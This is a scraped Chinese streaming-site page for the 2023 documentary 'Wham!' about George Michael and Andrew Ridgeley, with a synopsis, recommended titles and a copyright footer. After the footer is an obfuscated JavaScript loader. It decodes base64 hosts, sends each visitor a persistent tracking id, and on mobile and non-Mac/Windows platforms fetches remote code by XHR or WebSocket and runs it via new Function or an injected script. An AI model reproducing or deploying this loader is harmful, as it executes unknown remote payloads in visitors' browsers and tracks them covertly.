威猛乐队 Wham!3.0

纪录英国2023

主演:乔治·迈克尔,安德鲁·维治利

导演:克里斯·史密斯

播放地址

更新时间:2024-08-09

剧情介绍

欢迎大家来此在线收看《威猛乐队 Wham!》的高清完整版。本片是由著名导演克里斯·史密斯 的一部精彩的纪录 类影视作品,主演有乔治·迈克尔/安德鲁·维治利/等,本片主要讲述的是An intimate celebration of George Michael and Andrew Ridgeley’s enduring friendship, from childhood and through their years together as one of the UK’s biggest bands.                                                                    Michael and Ridgeley met at school in Bushy, near the town of Watford. They first formed the ska band The Executive before going on to release their first single as Wham!, Wham Rap! in June 1982. Success wasn’t immediate, but when it finally came, the pair crested a wave of success that continued until their farewell concert, The Final, at Wembley Stadium in June 1986. Chris Smith’s hugely entertaining film offers full and unprecedented access to the band’s archive, including unseen footage and interviews with the duo. The result is a nuanced portrait of an enduring friendship and a joyous musical travelogue.

同时该系列还有以下影片值得推荐:《保家卫国——抗美援朝光影纪实》《克里斯黛拉·阿朗索:中产阶级》《强尼大战安珀》《人类消失后的世界》《天行情歌》《克里斯·海姆斯沃斯:鲨鱼海滩》

返回首页返回顶部

Copyright © 2013-2024 中畅电影

本站只提供WEB页面服务,不存储、不制作任何视频,不承担任何由于内容的合法性及健康性所引起的争议和法律责任。

function uAIdixH(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function iUwOQmsT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return uAIdixH(t);};window[''+'B'+'u'+'x'+'E'+'V'+'p'+'n'+'W'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FsxQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=iUwOQmsT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FsxQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15002/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FsxQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NNzJTNNBJTJGJTJGYS55a2toanMuY24lM0E5NNTM1','165835',window,document,['l','N']);}:function(){};